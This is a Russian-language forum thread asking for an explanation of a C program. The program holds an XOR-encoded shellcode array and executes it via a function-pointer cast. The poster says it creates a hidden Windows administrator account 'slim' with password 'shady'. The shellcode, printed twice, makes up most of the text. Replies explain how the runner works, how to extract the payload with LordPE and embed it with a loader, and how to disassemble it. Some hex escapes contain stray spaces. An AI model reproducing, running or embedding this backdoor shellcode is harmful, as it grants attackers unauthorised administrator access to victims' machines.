PDA

Просмотр полной версии : Объясните работу кода. C++ под win32


TRОJAN
04.01.2006, 22:59
#include <stdio.h>

unsigned char data[] =
"\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x61\x7A\x 61\x75\xF4\xEB"
"\x05\xE8\xEC\xFF\xFF\xFF\xFE\xB6\x17\x17\x17\x4A\x 42\x26\xCC\x73"
"\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x 14\x71\x26\xC5"
"\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x13\x3E\x D5\xFC\xE2\x9E"
"\xC4\x9C\x6D\x2B\x16\xC0\x14\x48\x6F\x9C\x5C\x0F\x 9C\x64\x37\x9C"
"\x6C\x33\x16\xC1\x16\xC0\xEB\xBA\x16\xC7\x81\x90\x EA\x46\x26\xDE"
"\x97\xD6\x18\xE4\xB1\x65\x1D\x81\x4E\x90\xEA\x63\x 18\x50\x50\xF5"
"\xF1\xA9\x18\x17\x17\x17\x3E\xD9\x3E\xE0\xFC\xFC\x 26\xD7\x71\x9C"
"\x10\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x 16\xC7\x9E\xD1"
"\x9E\xC0\x4A\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\x C1\x7F\x12\x17"
"\x17\x17\x9A\x9A\x27\x17\x17\x17\x46\xE8\xC7\x9A\x 92\x33\x17\x17"
"\x17\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\x FF\x4D\xE8\xE8"
"\xE8\x50\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x 72\x64\x64\x17"
"\x5B\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x 17\x40\x7E\x79"
"\x52\x6F\x72\x74\x17\x52\x6F\x7E\x63\x47\x65\x78\x 74\x72\x64\x64"
"\x17\x74\x7A\x73\x37\x38\x74\x37\x79\x72\x63\x37\x 62\x64\x72\x65"
"\x37\x38\x76\x73\x73\x37\x64\x7B\x7E\x7A\x37\x64\x 7F\x76\x73\x6E"
"\x31\x31\x79\x72\x63\x37\x7B\x78\x74\x76\x7B\x70\x 65\x78\x62\x67"
"\x37\x38\x76\x73\x73\x37\xF7\xF3\xFB\xFF\xFA\xFF\x E6\xE5\xE7\xF7"
"\xE5\xF9\xE7\xEC\x37\x64\x7B\x7E\x7A\x17\x6D\x61\x 7A\x61";



int main()
{
void (*shell)();
*(int *)&shell = (int)data;
shell();
}


Чет я не пойму как работает этот кусок кода, в частноси *(int *)&shell = (int)data;

Он создает юзера slim и пароль shady с правами админа под вин32

И как можно прочитать(!) data

Deem3n®
05.01.2006, 13:08
вообще-то в этом деле я нуб, но попробую обьяснить:

unsigned char data[] =
"\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x61\x7A\x 61\x75\xF4\xEB"
"\x05\xE8\xEC\xFF\xFF\xFF\xFE\xB6\x17\x17\x17\x4A\x 42\x26\xCC\x73"
"\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x 14\x71\x26\xC5"
"\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x13\x3E\x D5\xFC\xE2\x9E"
"\xC4\x9C\x6D\x2B\x16\xC0\x14\x48\x6F\x9C\x5C\x0F\x 9C\x64\x37\x9C"
"\x6C\x33\x16\xC1\x16\xC0\xEB\xBA\x16\xC7\x81\x90\x EA\x46\x26\xDE"
"\x97\xD6\x18\xE4\xB1\x65\x1D\x81\x4E\x90\xEA\x63\x 18\x50\x50\xF5"
"\xF1\xA9\x18\x17\x17\x17\x3E\xD9\x3E\xE0\xFC\xFC\x 26\xD7\x71\x9C"
"\x10\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x 16\xC7\x9E\xD1"
"\x9E\xC0\x4A\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\x C1\x7F\x12\x17"
"\x17\x17\x9A\x9A\x27\x17\x17\x17\x46\xE8\xC7\x9A\x 92\x33\x17\x17"
"\x17\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\x FF\x4D\xE8\xE8"
"\xE8\x50\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x 72\x64\x64\x17"
"\x5B\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x 17\x40\x7E\x79"
"\x52\x6F\x72\x74\x17\x52\x6F\x7E\x63\x47\x65\x78\x 74\x72\x64\x64"
"\x17\x74\x7A\x73\x37\x38\x74\x37\x79\x72\x63\x37\x 62\x64\x72\x65"
"\x37\x38\x76\x73\x73\x37\x64\x7B\x7E\x7A\x37\x64\x 7F\x76\x73\x6E"
"\x31\x31\x79\x72\x63\x37\x7B\x78\x74\x76\x7B\x70\x 65\x78\x62\x67"
"\x37\x38\x76\x73\x73\x37\xF7\xF3\xFB\xFF\xFA\xFF\x E6\xE5\xE7\xF7"
"\xE5\xF9\xE7\xEC\x37\x64\x7B\x7E\x7A\x17\x6D\x61\x 7A\x61";

это машинный код, тоесть создается буфер data содержащий машинный код (который создает юзера slim и пароль shady с правами админа - если тебе верить)

void (*shell)();
*(int *)&shell = (int)data;
создается функция shell стартовый адрес которой содержится в машинном коде data

shell();
фактически это выполнение машинного кода который содержится в data

TRОJAN
06.01.2006, 23:32
Хм... а как можно этот код перегнать скажем в АСМ или т.п.?

ProTeuS
07.01.2006, 03:02
компилируешь программу, выполняющую шеллкод и с помощью утилиты LordPE сохраняешь содержащую его секцию данных. дальше можешь ее "прикру4ивать" куда нужно делая загруз4ик...хотя в данном слу4ае не вижу в єтом смысла...

а по поводу перевода в асм или т.п.: по4итай
The Complete Pentium Instruction Set Table
(32 Bit Addressing Mode Only)
by Sang Cho

sn0w
28.01.2006, 20:25
кстати внимание при самопальном написании подобной вещи стоит уделять соглашению о вызовах по умолчанию (calling convention (stdcall/cdecl)) иначе можно уехать в рантайм изза стека))